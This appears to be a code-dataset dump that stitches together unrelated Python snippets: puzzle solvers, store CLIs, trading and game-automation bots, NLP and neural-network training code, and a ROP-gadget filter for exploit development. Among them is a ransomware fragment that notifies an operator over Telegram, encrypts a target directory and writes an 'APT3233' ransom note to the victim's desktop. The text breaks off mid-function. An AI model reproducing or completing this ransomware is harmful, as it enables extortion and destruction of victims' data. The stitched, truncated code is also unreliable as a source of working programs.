dependency stringlengths 77 854k | docstring stringlengths 0 4.39k | main stringlengths 29 215k |
|---|---|---|
def select_puzzles():
while True:
print("Select difficulty of puzzle going from 1-6 easiest to impossible")
print("1) Trivial")
print("2) Very Easy")
print("3) Easy")
print("4) Doable")
print("5) Oh boy")
print("6) Impossible")
user_select = input()
... | The main task of the code is to initiate an 8-puzzle solving process by allowing the user to select a default or custom puzzle configuration and choose a solving algorithm. It validates user input, initializes the puzzle problem with a predefined goal state, and invokes a solver function with the selected algorithm to ... | def start_8_puzzle():
print("Welcome to 862050241 8 puzzle solver")
goal = [[1, 2, 3], [4, 5, 6], [7, 8, 0]]
# Loop to make sure the user enters a valid choice for puzzle picking
while True:
user_input = input("Type 1 to use a default puzzle, or 2 to enter your own puzzle\n")
if user_inp... |
def display_title():
print()
print("***ONLINE TOY STORE***")
print()
display_menu()
def view_toys_by_category():
display_categories()
#asking ID of category what user would like to see
category_id = None
while True:
try:
category_id = int(input("Category ID: "))
... | The main task of the code is to manage a toy store's cart system by allowing users to view toys by category, add/remove items from a cart, view the cart, generate a receipt, and exit. It connects to a database, processes user commands in a loop, and handles interactions with the Cart object until the user exits, then c... | def main():
db.connect()
display_title()
#creating Cart object
cart = Cart()
#accepting user`s choice of command
while True:
command = input("Command: ")
if command == "view":
view_toys_by_category()
elif command == "add":
add_toy(cart)
... |
def pre_process_image(img,skip_dilate=False):
"""Uses a blurring function, adaptive thresholding and dilation to expose the main features of an image."""
proc=cv2.GaussianBlur(img.copy(),(9,9),0)#Reduce noise and keep the info while reducing the size
#Adaptive threshold using 11 nearest neighbour pixels
... | The code processes an image to extract and display digits from a grid. It reads an image, preprocesses it, identifies the largest polygon's corners, crops and warps the image, infers the grid structure, extracts individual digits, and visualizes them. The main task is to parse and display digits from a grid-like struct... | def parse_grid(path):
original = cv2.imread(path, cv2.IMREAD_GRAYSCALE)
processed = pre_process_image(original)
# cv2.namedWindow('processed',cv2.WINDOW_AUTOSIZE)
# processed_img = cv2.resize(processed, (500, 500)) # Resize image
# cv2.imshow('processed', processed_img)
corners =... |
def print_products():
query = "SELECT `product_id` as ID, `product_name` as Name, `product_price` as Price FROM `products`"
result = read_from_db(query)
for product in result:
print(f"\n{product}")
def add_product():
product_name = input("Enter the name of the new product: ")
product_price =... | The function `products_menu` handles user choices for product management by routing the input parameter `product_menu_choice` to corresponding actions: printing products, adding, updating, or removing products. If the input is invalid, it prints an error message. | def products_menu(product_menu_choice):
if product_menu_choice == "1":
print_products()
elif product_menu_choice == "2":
add_product()
elif product_menu_choice == "3":
update_products()
elif product_menu_choice == "4":
remove_product()
else:
print(wrong_input) |
def print_couriers():
query = "SELECT `courier_id` as ID, `courier_name` as Name, `courier_phone` as Phone FROM `couriers`"
result = read_from_db(query)
for courier in result:
print(f"\n{courier}")
def add_courier():
print_couriers()
courier_name = input("Enter the name of the new courier: "... | The function `couriers_menu` handles user choices for managing couriers by routing input to corresponding actions: printing, adding, updating, or removing couriers. It processes options "1" to "4" and displays an error for invalid inputs, acting as a menu-driven interface for courier operations. | def couriers_menu(courier_menu_choice):
if courier_menu_choice == "1":
print_couriers()
elif courier_menu_choice == "2":
add_courier()
elif courier_menu_choice == "3":
update_courier()
elif courier_menu_choice == "4":
remove_courier()
else:
print(wrong_input) |
def print_orders():
query = """
SELECT
orders.order_id,
customers.customer_name,
customers.customer_address,
customers.customer_phone,
couriers.courier_name,
couriers.courier_phone,
products.product_name,
order_status.status
FROM
orders
JOIN customers ON or... | The code defines a function `orders_menu` that processes user input to execute specific order management tasks. Based on the `order_menu_choice` parameter, it calls functions like printing, adding, updating, changing status, or removing orders. If the input is invalid, it prints an error message, ensuring user actions ... | def orders_menu(order_menu_choice):
if order_menu_choice == "1":
print_orders()
elif order_menu_choice == "2":
add_order()
elif order_menu_choice == "3":
change_order_status()
elif order_menu_choice == "4":
update_order()
elif order_menu_choice == "5":
remove_... |
def print_customers():
query = "Select `customer_id` as ID, `customer_name` as Name, `customer_address` as Adress, `customer_phone` as Phone FROM customers"
result = read_from_db(query)
for customer in result:
print(customer)
def add_customer():
customer_name = input("Enter the name of the ne... | The code defines a function `customers_menu` that handles customer-related operations based on user input. It directs to `print_customers()`, `add_customer()`, `update_customers()`, or `remove_customer()` depending on the choice (1-4). If the input is invalid, it prints "wrong_input". The function acts as a menu contro... | def customers_menu(customer_menu_choice):
if customer_menu_choice == "1":
print_customers()
elif customer_menu_choice == "2":
add_customer()
elif customer_menu_choice == "3":
update_customers()
elif customer_menu_choice == "4":
remove_customer()
else:
print(wr... |
def caseStatus(session):
caseInfo = session.get(case)
rDic = caseInfo.json()
status = rDic['status']
tick = rDic['tick']
if status == 'ACTIVE' and tick != 299:
return True
else:
time.sleep(2)
print('Waiting')
global totalSpeedBumps
global numberOfOrders
... | The code monitors and tests for arbitrage opportunities between two markets (CRZY_M and CRZY_A) by continuously fetching order book data, checking case status, and evaluating cross-market profitability using a loop. It uses a session with an API key, sets parameters like maximum quantity and minimum spread, and execute... | def main():
with r.Session() as s:
flag = True
s.headers.update(API_KEY)
maxQuant = 2000
minSpread = 0.01
tCosts = 0
orderType = 'MARKET'
# minSpread = 0.01
while flag:
flag = caseStatus(s)
crzyMBid, crzyMAsk = getOrderBook(s, '... |
def caseStatus(session):
caseInfo = session.get(case)
rDic = caseInfo.json()
status = rDic['status']
tick = rDic['tick']
if status == 'ACTIVE' and tick > 1:
return True
else:
time.sleep(2)
print('Waiting')
global totalSpeedBumps
global numberOfOrders
... | The code monitors news via an API session, filters relevant news entries, and triggers actions (e.g., calculating exit prices) based on filtered data. It maintains a dictionary of news IDs with associated actions and exit prices, looping until a termination condition is met, with a 10-second delay between iterations. | def main():
with r.Session() as s:
dic = {}
flag = True
s.headers.update(API_KEY)
while flag:
flag = caseStatus(s)
news = getNews(s, 0)
action, eiaDic = newsFilter(news[0], dic)
if action:
print(action)
e... |
def build_address_index(self):
"""Build address index."""
# loop over blocks
with tqdm(total=self.transaction_count, smoothing=0) as bar:
for block in self.db.get_block_iter_range(self.block_count):
block = block['txdata']
# loop over each transaction ... | The code's main task is to execute a clustering process for addresses. It first builds an address index, then clusters the addresses, saves the resulting clusters to a file using NumPy, and logs progress at each step. | def run(self):
"""Run main logic."""
logging.info("building address index")
self.build_address_index()
logging.info("clustering address")
self.cluster_address()
np.save(CLUSTER_FILE, self.get_cluster())
logging.info("finished clustering") |
def _unpack_scene_data(self, scene_data):
self.X_m, self.F, self.N_k = scene_data['X_m'], scene_data['F'], scene_data['N_k']
self.M, self.K, self.N = scene_data['M'], scene_data['K'], scene_data['N']
self.D_kn, self.mu_kn = scene_data['D_kn'], scene_data['mu_kn']
self.objects, self.visib... | This code performs variational Bayesian inference using the VBEM algorithm to optimize the Evidence Lower Bound (ELBO) for scene data. It initializes parameters, iterates over multiple restarts, updates model variables through simulations, and selects the best solution based on ELBO maximization. The method returns the... | def run(self, scene_data, lambda_0, ground_truth, inference_index, verbose=True):
self.lambda_0_org = lambda_0
self.lambda_0 = lambda_0
self.ground_truth = ground_truth
self.inference_index=inference_index
# Extract data from given scene
self._unpack_scene_data(scene_dat... |
def get_block_count(self, batches):
return int(math.ceil(self.get_lines(batches) / 10.0))
def get_entry_hash(self, batches):
entry_hash = 0
for batch in batches:
entry_hash = entry_hash + int(batch.batch_control.entry_hash)
if len(str(entry_hash)) > 10:
pos = l... | The main task of the code is to initialize a `FileControl` object by aggregating batch data, including batch count, block count, entry hash, entadd count, debit amount, and credit amount, from the provided batches. These computed values are then stored in the `self.control` attribute for further processing or validatio... | def set_control(self):
batch_count = len(self.batches)
block_count = self.get_block_count(self.batches)
entry_hash = self.get_entry_hash(self.batches)
entadd_count = self.get_entadd_count(self.batches)
debit_amount = self.get_debit_amount(self.batches)
credit_amount = se... |
def sample_events(self, N, return_params=False, means=None, stds=None):
"""
Sample events from the astrophysical distribution of waveform parameters
and the distribution of distances.
N: number of events
return_params: whether to return a tuple of
(drawn p... | The code simulates astrophysical events with detector noise, infers distribution parameters using MCMC on strain and photon counts. It samples event parameters and waveforms, optionally sorts events by SNR, then performs strain and photon-counting MCMC inference. Results are returned as a PipelineResults object contain... | def run(self, n, snr_sorted=False):
"""
Simulate events with detector noise, infer distribution parameters
with MCMC on the strain and photon counts.
N: number of astrophysical events to simulate
snr_sorted: whether to sort events by SNR before doing MCMC
"""
... |
def _compute_walker_waveform(self, theta):
"""
Compute the waveform given parameters from MCMC walkers.
theta: array of parameters
"""
# use distribution mean values for parameters that are not being
# inferred
params = self.param_means.copy()
params[... | The function computes the log-likelihood of observed photon counts given event parameters by calculating the probability of detecting photons (or not) in each template mode. It uses either an approximation combining signal/noise probabilities or Monte Carlo integration over simulated noise. It checks for inconsistencie... | def log_likelihood_event_pc(self, theta, counts):
"""
Log-likelihood function for photon counting for a single event.
theta: array of event parameters
counts: array of photon counts (0 or 1 for each template)
"""
model = self._compute_walker_waveform(theta)
... |
def get_alpha(X,y):
m = y.shape[0]
P = np.zeros((m,m))
#outer product of y
y = y.reshape(y.shape[0],1)
outer = y@y.T
for i in range(m):
for j in range(m):
P[i][j] = outer[i][j]*K(X[i], X[j])
P = matrix(P, tc='d')
q = matrix(np.ones((m,1))*-1, tc='d')
G = matrix(... | This function performs SVM prediction using parameters derived from training data. It calculates Lagrange multipliers (alpha) and bias (b) via helper functions, then applies these to test data using a decision function. The process involves reshaping alpha, computing b, and leveraging trained model parameters to predic... | def predict_cvxopt(X_train, y_train, X_test):
alpha = get_alpha(X_train,y_train)
alpha = alpha.reshape(X_train.shape[0], 1)
b = get_b(alpha, X_train, y_train)
return test(X_test, alpha,b, X_train, y_train) |
def get_data(path, removal):
y = []
m1, y, pos = get_words_matrix(path + 'pos', y, 1, removal)
m0, y, neg = get_words_matrix(path + 'neg', y, 0, removal)
m = len(y)
y = np.array(y).reshape(m,1)
return y, pos+neg, m1/m
def get_params(words_matrix, y, trigrams):
vocab = set()
for words in ... | The main task of the code is to train a model using text data. It loads data, extracts features (words_matrix), computes model parameters (phi), converts data into indices, predicts labels (y_pred), and returns the predictions along with model parameters (phi, vocab, py) for later use. Trigrams are used for feature ext... | def train_model(path, removal, trigrams):
y, words_matrix,py = get_data(path, removal)
phi, vocab= get_params(words_matrix, y, trigrams)
x = get_indices(words_matrix, vocab, True, trigrams)
y_pred = get_accuracy(x, py, phi, y)
params = phi, vocab, py
return y_pred, params |
def get_data(path, removal):
y = []
m1, y, pos = get_words_matrix(path + 'pos', y, 1, removal)
m0, y, neg = get_words_matrix(path + 'neg', y, 0, removal)
m = len(y)
y = np.array(y).reshape(m,1)
return y, pos+neg, m1/m
def get_indices(words_matrix, vocab, skip_check, trigrams):
x = []
voc... | The code evaluates a model's accuracy by processing input data, converting words to indices, and computing predictions. It loads data, transforms text into numerical indices using a vocabulary, and calculates accuracy using model parameters. The function returns predicted labels (y_pred) based on the input data and mod... | def test_model(path, removal, params, trigrams):
phi, vocab, py = params
y, words_matrix,py2 = get_data(path, removal)
x = get_indices(words_matrix, vocab, False, trigrams)
y_pred = get_accuracy(x, py, phi, y)
return y_pred |
def get_alpha(X,y):
m = y.shape[0]
P = np.zeros((m,m))
#outer product of y
y = y.reshape(y.shape[0],1)
outer = y@y.T
for i in range(m):
for j in range(m):
P[i][j] = outer[i][j]*K(X[i], X[j])
P = matrix(P, tc='d')
q = matrix(np.ones((m,1))*-1, tc='d')
G = matrix(... | The function `predict_cvxopt` trains a Support Vector Machine (SVM) model using training data, computes Lagrange multipliers (`alpha`) and bias term (`b`), evaluates model performance on test data, and identifies top 5 support vectors. It employs `get_alpha`, `get_b`, `test`, and `top5_alpha` to optimize parameters, va... | def predict_cvxopt(X_train, y_train, X_test, y_test):
alpha = get_alpha(X_train,y_train)
alpha = alpha.reshape(X_train.shape[0], 1)
b = get_b(alpha, X_train, y_train)
test(X_test, y_test, alpha,b, X_train, y_train)
top5_alpha(alpha, X_train) |
def build_weight(arc, epsilon):
#builds weights, using init_weights for w and np.zeros for b
#returns parameters, a dictionary
count=0
parameters={}
for i in arc:
if count == 0:
prev_len = i
count +=1
else:
parameters["b"+str(count)]=np.zeros([i,1]... | This function trains a neural network model using gradient descent. It initializes weights, iteratively performs forward and backward passes to update parameters, adjusts the learning rate if cost increases, and evaluates training/test accuracy periodically. The main task is to optimize model parameters to minimize los... | def nn_model(X, y, arcitecture, num_iterations, learning_rate,X_test,Y_test):
parameters = build_weight(arcitecture, epsilon=0.1)
last_cost = 1000000
for i in range (num_iterations):
pred, cache = forward_pass(parameters, X, arcitecture)
pred = sigmoid(pred)
cost = cost_calc(pred, y)... |
def applyTransfos(transfos, origin):
out = origin
for t in transfos:
out = np.dot(t, out)
return out
def rotZ (dt):
return np.array([
[np.cos(dt), -np.sin(dt), 0, 0],
[np.sin(dt), np.cos(dt), 0, 0],
[0, 0, 1, 0],
[0, 0, 0, 1],
])
def fro... | The main task of the code is to transform the front camera's view by applying a 90-degree (π/2 radians) rotation around the Z-axis, effectively reorienting it to face the right direction. The function `rightCamera()` returns this transformed camera configuration. | def rightCamera():
return applyTransfos([rotZ(np.pi/2)],
frontCamera()) |
def applyTransfos(transfos, origin):
out = origin
for t in transfos:
out = np.dot(t, out)
return out
def rotZ (dt):
return np.array([
[np.cos(dt), -np.sin(dt), 0, 0],
[np.sin(dt), np.cos(dt), 0, 0],
[0, 0, 1, 0],
[0, 0, 0, 1],
])
def fro... | The main task of the code is to transform the front camera's view by applying a -90-degree rotation around the Z-axis, effectively generating a left-facing camera perspective through coordinate transformation. | def leftCamera():
return applyTransfos([rotZ(-np.pi/2)],
frontCamera()) |
def create_lutset(LUTentry, harmonic_weights, harmonic_phases=None,
length_factor=8, bandwidth_factor=None):
if bandwidth_factor is None:
bandwidth_factor = np.sqrt(0.5)
"""Create an ordered list of LUTs with decreasing harmonic content.
These can then be used in interp_from_luts... | The code generates multiple lookup tables (LUTs) for audio synthesis, including waveforms (sawtooth, triangle, sine), mathematical functions (log2, exp2), clipping, PCM data, and FM patches. It creates fixed-point versions of these tables for embedded systems, writing them to C/C++ header files for efficient real-time ... | def generate_all():
import fm
import collections
# Implement the multiple lookup tables.
# A LUT is stored as an array of values (table) and the harmonic number of the
# highest harmonic they contain (i.e., the number of cycles it completes in the
# entire table, so must be <= len(table)/2.)
... |
def reset(osc=None, **kwargs):
if(osc is not None):
send(reset=osc, **kwargs)
else:
send(reset=10000, **kwargs)
def send(**kwargs):
global override_send
global mess, log
m = message(**kwargs)
if(log): mess.append(m)
if(override_send is not None):
override_send(**kwar... | The code tests various EQ configurations by iterating through a list of [low, mid, high] frequency settings. For each setting, it sends the values, plays drums twice, waits, resets, and pauses briefly before the next test. The purpose is to evaluate audio effects of different EQ parameters on drum sounds. | def eq_test():
reset()
eqs = [ [0,0,0], [15,0,0], [0,0,15], [0,15,0],[-15,-15,15],[-15,-15,30],[-15,30,-15], [30,-15,-15] ]
for eq in eqs:
print("eq_l = %ddB eq_m = %ddB eq_h = %ddB" % (eq[0], eq[1], eq[2]))
send(eq_l=eq[0], eq_m=eq[1], eq_h=eq[2])
drums(loops=2)
time.sleep(1... |
def feedForward(self, X, actFun):
'''
feefForward builds a 3-layer neural network and computes the two
probabilites, one for class 0 and one for class 1
:param X: input data
:param actFund: activation function
:retur:
'''
self.z1 = np.dot(X, self.W1) + se... | This code trains a neural network using backpropagation and gradient descent. It performs forward propagation, computes gradients via backpropagation, applies L2 regularization, updates weights and biases, tracks loss over epochs, and visualizes the loss curve. The function iterates for a specified number of epochs, ad... | def fit_model(self, X, y, learningRate = 0.001, epochs = 20000,
print_loss = True):
'''
fit_model uses backpropagation to train the network
:param X: input data
:param y: target data
:param epochs: the iteration number
:param print_loss: print the loss ... |
def verifiability(args, llm, prompt, sentences):
verifiability_prompts = [
[
SystemMessage(content=SYSTEM_PROMPT),
HumanMessage(content=prompt.format(origination=args.origination, sentence=s))
]
for s in sentences
]
verifiability_outputs = asyncio.run(async_a... | The main task of the code is to process a list of sentences through three stages: verifiability analysis, annotation with specific keys (e.g., "FACT_PART", "VERIFIABILITY"), and debate annotation. It uses an LLM to generate outputs, either freshly or by loading precomputed data, then merges results into a CSV file. The... | def main(args):
P1_VERIFIABILITY = PROMPT_PART_1_VERIFIABILITY
PART_2_PROMPT = PROMPT_PART_2_0905
PART2_KEYS = ["ANALYSIS", "FACT_PART", "VERIFIABLE_REASON", "VERIFIABILITY", "CATEGORY"]
verifiable_key = "VERIFIABILITY"
if args.seed > 0:
random.seed(args.seed)
if args.file_name.endswi... |
def get_scirex_docids():
scirex_train = jsonlines.open(
"release_data/train.jsonl")
scirex_test = jsonlines.open(
"release_data/test.jsonl")
scirex_dev = jsonlines.open("release_data/dev.jsonl")
scirex_training_docids = []
for doc in scirex_train:
scirex_training_docids.appe... | The main task of the code is to construct neighbor text data for SCI-REX documents by retrieving paper IDs, download commands, and generating mappings between document indices and paths. It leverages metadata and full-text download commands to build a structured representation of document relationships, returning index... | def get_scirex_neighbor_texts():
scirex_paper_ids = list(get_scirex_docids())
full_data_download_commands = fetch_full_data_download_commands()
metadata_download_commands = fetch_metadata_download_commands()
doc_idx_mapping, scigraph_documents_path = construct_neighbor_text(
scirex_paper_ids, m... |
def get_scirex_docids():
scirex_train = jsonlines.open(
"release_data/train.jsonl")
scirex_test = jsonlines.open(
"release_data/test.jsonl")
scirex_dev = jsonlines.open("release_data/dev.jsonl")
scirex_training_docids = []
for doc in scirex_train:
scirex_training_docids.appe... | The function retrieves and maps metadata from the SCiREX dataset to the S2ORC dataset by fetching paper IDs, download commands, and cross-referencing S2ORC keys. It compiles semantic scholar metadata and links it to S2ORC records, returning the combined S2ORC metadata associated with SCiREX papers. | def get_scirex_s2_metadata():
scirex_paper_ids = list(get_scirex_docids())
metadata_download_commands = fetch_metadata_download_commands()
full_data_download_commands = fetch_full_data_download_commands()
s2orc_hash_to_struct_mapping = fetch_s2orc_keys_from_scirex_ids(
scirex_paper_ids, full_da... |
def get_scirex_docids():
scirex_train = jsonlines.open(
"release_data/train.jsonl")
scirex_test = jsonlines.open(
"release_data/test.jsonl")
scirex_dev = jsonlines.open("release_data/dev.jsonl")
scirex_training_docids = []
for doc in scirex_train:
scirex_training_docids.appe... | The main task of the code is to map SciREX documents to S2ORC data by fetching metadata from the Semantic Scholar API, linking SciREX and S2ORC documents using download commands, and counting the number of successfully linked documents. It retrieves SciREX IDs, maps them to S2ORC hashes, fetches associated metadata, an... | def main():
all_scirex_docids = get_scirex_docids()
# # This must be obtained by requesting access from the S2ORC team (https://allenai.org/data/s2orc)
full_data_download_commands = fetch_full_data_download_commands()
print("Load existing SciREX-to-S2ORC mappings:")
s2orc_hash_to_struct_mapping = ... |
def get_scirex_docids():
scirex_train = jsonlines.open(
"release_data/train.jsonl")
scirex_test = jsonlines.open(
"release_data/test.jsonl")
scirex_dev = jsonlines.open("release_data/dev.jsonl")
scirex_training_docids = []
for doc in scirex_train:
scirex_training_docids.appe... | This function constructs a citation graph from seed SCiELO paper IDs, using metadata download commands and s2orc-to-SCiELO ID mappings. It generates outgoing and incoming citation edges within a specified radius, optionally remapping node IDs to SCiELO format. The result is a tuple of dictionaries representing the grap... | def get_citation_graph(radius, remap_to_scirex_id=False):
scirex_paper_ids = list(get_scirex_docids())
metadata_download_commands = fetch_metadata_download_commands()
s2orc_to_scirex_mappings = get_s2orc_scirex_id_mapping()
(out_edges, in_edges) = create_citation_graph_from_seed_nodes(
scirex_p... |
def read_gadgets_from_rp_file(file):
gadgets = []
# discard first few lines, as they do not matter
with open(file, "r") as f:
lines = f.readlines()
instructionstart = 0
# Determine start of the instructions
for line in lines:
instructionstart += 1
if ... | The main task of the code is to process and filter gadget lists from a file, applying bad-character and return-value filters, then categorizing high/medium-quality gadgets into separate files for exploitation analysis, while counting valid gadgets at each filtering stage. | def main(srcfile, bad_bytes, aslr, dll_name, image_base):
# convert to unix format
result = subprocess.run(['dos2unix', srcfile], stdout=subprocess.PIPE)
#print(result.stdout)
file = srcfile # file to read gadgets from (rp++ output)
# resultfile where filtered gadgets will be written
resultfil... |
def send_wh():
url = f"https://api.telegram.org/bot{cc.api}/sendMessage"
params = {'chat_id': cc.chat_id, 'text': message_to_boss}
try:
response = requests.post(url, params=params)
if response.status_code != 200:
sys.exit(1)
except Exception:
pass
def encrypt_di... | The code's main task is to execute ransomware by encrypting files in a specified directory, generating a ransom note on the victim's desktop, and writing a message to the victim, likely demanding payment for decryption. | def ransomeware():
send_wh()
encrypt_directory(target_directory)
encrypted_files()
desktop = os.path.join(os.path.join(os.environ["USERPROFILE"]), "Desktop")
file_path = os.path.join(desktop, "APT3233-RANSOMEWARE-NOTE.txt")
with open(file_path, 'w') as file:
file.write(message_to_victim... |
def send_wh():
url = f"https://api.telegram.org/bot{cc.api}/sendMessage"
params = {'chat_id': cc.chat_id, 'text': message_to_boss}
try:
response = requests.post(url, params=params)
if response.status_code != 200:
sys.exit(1)
except Exception:
pass
def encrypt_dir... | This code encrypts files in a specified directory, creates a ransom note on the desktop, and opens it. It calls functions to handle encryption, file operations, and user notification. The main tasks are file encryption and displaying a ransom message to the victim. | def ransomeware():
send_wh()
encrypt_directory(target_directory)
encrypted_files()
desktop = os.path.join(os.path.join(os.environ["USERPROFILE"]), "Desktop")
file_path = os.path.join(desktop, "APT3233-RANSOMEWARE-NOTE.txt")
with open(file_path, 'w') as file:
file.write(message_to_victim... |
def sigmoid(x):
return 1 / (1 + np.exp(-x))
def log_likelihood(ds, theta):
l = 0
theta, intercept = theta
for row in ds.values:
p = 1
x = row[:FEATURES]
y = row[FEATURES]
if y == MALIGNANT:
p = sigmoid(np.dot(theta, x) + intercept)
else:
p... | This code implements gradient descent for logistic regression with L2 regularization. It iteratively updates model parameters (theta and intercept) using dataset features and labels, applying gradient calculations and regularization. It optionally tracks validation log-likelihood and accuracy over iterations. The funct... | def gradient_descent(ds, learning_rate, max_iter, val_ds=None, l2=0, save_history=False):
history = {'val_ll': [], 'val_acc': []}
theta = np.random.default_rng().random(FEATURES) * 0.1
intercept = np.random.default_rng().random() * 0.1
for _ in range(max_iter):
for row in ds.values:
... |
def make_videos_dir():
if not os.path.exists("videos"):
os.mkdir("videos")
def faketype_intro():
# clear the screen
os.system('cls' if os.name == 'nt' else 'clear')
# roll the text onto the screen as if it's being typed by someone
input(faketype(
"Welcome to Snorto's N-Body Gravity S... | The main task of the code is to run interactive physics simulations using the Runge-Kutta method. It creates a directory, displays an intro, and loops to select system parameters (masses, positions, velocities), animate them via `rungekutta.animate`, and prompt the user to continue or exit. Error handling ensures valid... | def main():
make_videos_dir()
faketype_intro()
cont = True
while cont:
# clear the screen
os.system('cls' if os.name == 'nt' else 'clear')
try:
(masses, positions, velocities, duration, speed), name = select_system()
except TypeError:
input('[retur... |
def faketype(words, speed=0.001, newline=True):
for char in words:
sleep(speed)
print(char, end="")
sys.stdout.flush()
if newline:
print("")
return ""
def truncate_colormap(cmap, minval=0.0, maxval=1.0, n=100):
new_cmap = colors.LinearSegmentedColormap.from_list(
... | The code generates an animation visualizing the trajectories of multiple particles in 3D space and their projections onto 2D planes, while also plotting their kinetic energy over time. It calculates particle positions and velocities iteratively, adjusts visualization scales dynamically, and saves the result as a video ... | def animate(masses, positions, velocities, duration, speed, name):
# make sure the three input arrays have consistent shapes
n_particles, n_dimensions = positions.shape
assert (velocities.shape == positions.shape)
assert (len(masses) == n_particles)
dt = 86400 * speed * 365 / (60 * 15)
times_i... |
def convert_pedecerto_to_crf_df(self, texts) -> list:
if int(util.cf.get('Util', 'verbose')): print('Creating the sentence list')
# Find all our texts and convert them to a crf dataframe
# This will put the entire text into a list. In this list, another list is dedicated per sentence.
# ... | The code runs multiple experiments to evaluate a CRF model's performance on different datasets, including training on Virgil and testing on Virgil, testing on Hercules Furens, and training on combined texts (Virgil, Ovid, etc.) with varied test splits. It collects precision and recall metrics for categories like 'short... | def run_experiments(self):
create_models = True
crf_exp_bar_dict = {'exp1': {}, 'exp2': {}, 'exp3': {}, 'exp4': {}, 'exp5': {}}
# Experiment 1: Create model on Virgil, test on Virgil
if create_models:
texts = ['syllable_label_VERG-aene.xml.pickle']
crf_d... |
def convert_pedecerto_to_crf_df(self, texts) -> list:
if int(util.cf.get('Util', 'verbose')): print('Creating the sentence list')
# Find all our texts and convert them to a crf dataframe
# This will put the entire text into a list. In this list, another list is dedicated per sentence.
# ... | The main task of the code is to initialize and process data for a CRF model, handling tasks like loading datasets, converting data formats, feature extraction, model training, k-fold validation, custom predictions, grid search, and generating prediction results based on predefined flags. It prepares data for scansion l... | def __init__(self):
# Read all the data we will be needing. The syllable_label_list contains a list of the used texts in [(syl, lbl), (syl,lbl), ...] format.
crf_df = util.Pickle_read(util.cf.get('Pickle', 'path'), util.cf.get('Pickle', 'crf_df'))
# Load training and test set: X contains syllab... |
def screenshot(save_img = False):
img = device.takeSnapshot(reconnect=True) # PIL img
if save_img:
img.save('im.png', 'PNG')
return np.array(img)[:, :, :3]
def get_item(idx, img):
x, y = idx_to_pixel(idx)
offset = 10
item = img[y - offset:y + offset, x - offs... | The main task of the code is to check items in specific grid positions (i, j) from a screenshot, skip empty slots, and sell items that do not match any entries in the 'ns_list', likely for automating inventory management in a game or application. | def check_items():
img = screenshot()
for i in range(1, 3):
for j in range(9):
item = get_item((i, j), img)
if is_empty(item): continue
if not find_match(item, ns_list):
sell_item((i, j)) |
def screenshot(self):
im = self.device.takeSnapshot(reconnect=True) # PIL img
return np.array(im)[:, :, :3]
def is_empty(self, tile, img):
x, y = self.index_to_pixel(tile)
return any((img[y, x] == color).all() for color in self.empty_colors)
def find_match(self, target_tile, tiles, img):... | This code processes tiles by finding matches in a screenshot, dragging them if matched, and managing station tiles when no matches are found. It iterates through tiles, skips empty ones, and removes matched pairs. If no matches occur, it uses station tiles, tracks usage, and resets counters when needed, returning True ... | def run(self):
matched = False
tiles = self.item_tiles.copy()
img = self.screenshot()
while tiles:
tile = tiles.pop(0)
if self.is_empty(tile, img):
continue
match = self.find_match(tile, tiles, img)
if match:
... |
def screenshot(self):
with mss.mss() as sct:
monitor = {
"top" : self.y_offset,
"left" : self.x_offset,
"width" : self.tile_width * self.cols,
"height": self.tile_height * self.rows
}
sct_img = sct.grab(mon... | This code automates tile matching in a game by dragging tiles to their matches, using station tiles when necessary. It processes screenshots, checks for empty tiles, finds matches, and manages resource limits. If no matches are found, it uses a station tile, tracks usage, and resets when limits are reached. The loop co... | def run(self):
matched = False
tiles = self.item_tiles.copy()
img = self.screenshot()
while tiles and not keyboard.is_pressed('q'):
tile = tiles.pop(0)
if self.is_empty(tile, img):
continue
match = self.find_match(tile, tiles, img)
... |
def check_events(self):
'''Take user input'''
for event in pygame.event.get():
if event.type == pygame.QUIT:
pygame.quit()
sys.exit()
if event.type == pygame.KEYDOWN:
self.check_keydown_events(event)
def AI(self):
... | The main task of the code is to execute the game loop by continuously checking events, updating AI logic, verifying game-over conditions, and rendering the screen. The infinite loop ensures real-time interaction, processing user input, AI decisions, and game state changes until a termination condition is met, such as a... | def run_game(self):
'''Main loop'''
while True:
self.check_events()
self.AI()
self.game_over(self.player, self.computer)
self.update_screen() |
def employedBeePhase(self):
for i in range(0, self.foodCount):
self.updateFood(i)
def onlookerBeePhase(self):
foodScore = [d.score for d in self.foodList]
maxScore = np.max(foodScore)
accuFitness = [(0.9*d/maxScore+0.1, k) for k,d in enumerate(foodScor... | The code implements an optimization algorithm (likely a variant of the Artificial Bee Colony algorithm) by iterating through three phases (employed, onlooker, scout bees) to improve the best solution. It tracks the transformed fitness value (1 - tt)/tt in a trace list and returns this trace along with the final food sc... | def solve(self):
trace = []
tt=self.bestFood.score
tt=(1-tt)/tt
trace.append(tt)
for k in range(self.maxIterCount):
self.employedBeePhase()
self.onlookerBeePhase()
self.scoutBeePhase()
tt=self.bestFood.score
tt=(1-tt)/tt... |
def _is_platform_online(self, initialization = False):
"""
This method is used to check if the platform is online.
"""
base_link = "http://127.0.0.1:8080/"
if initialization:
try:
response = requests.head(base_link, timeout=0.5)
if resp... | This method manages communication setup by retrieving unsent messages from the database, updating their status, and executing the appropriate communication protocol phase (PHASE_1 to PHASE_4) based on the current phase. It continuously checks for platform online status, processes messages sequentially, and terminates u... | def _communication_setup(self):
"""
This method is used to handle the setup of the communication using the communication protocol.
"""
while self._is_platform_online():
with SessionLocal() as db:
message = crud.get_first_message_not_sent_for_platform(db)
... |
def wait_platform_online(self):
"""
This method is used to wait until the platform is online.
"""
while not self.__API_online:
self.__API_online = self._is_platform_online(initialization=True)
if self.__API_online:
break
time.sleep(0.5)... | The main task of the code is to manage the EPEM's operational loop by initializing system phases, starting the experience manager, setting up communication, and continuously checking for unsent messages in a database while the platform remains online. The loop processes messages when available, ensuring ongoing system ... | def main_loop(self):
"""
This method is the main loop of the EPEM.
"""
print("EPEM Manager started")
print("EPEM Manager waiting for platform online")
self.wait_platform_online()
print("EPEM starting PHASE_1")
self._change_protocol_phase("PHASE_1... |
def compensated_feature(x, y, class_num, max_size=10):
device = x.device
compensated_samples = []
compensated_labels = []
for i in range(class_num):
if i not in y:
continue
class_samples = x[y == i]
compensated_num = max_size - (y == i).sum().item()
mean = cla... | The function `train_one_epoch` trains a semi-supervised model using labeled and unlabeled data, employing pseudo-labeling, exponential moving average (EMA), and symmetric loss. It computes cross-entropy losses for labeled data and unlabeled samples with confidence masks, combines them with a weighting coefficient, and ... | def train_one_epoch(epoch,
model,
ema_model,
layer_bank,
gate,
matchnet,
discriminator_img,
criteria_x,
criteria_u,
optim,
... |
def set_model(args):
if args.backbone == 'WideResnet':
model = WideResnet(n_classes=args.n_classes,k=args.wresnet_k, n=args.wresnet_n, proj=False)
elif args.backbone == 'ConvMLP':
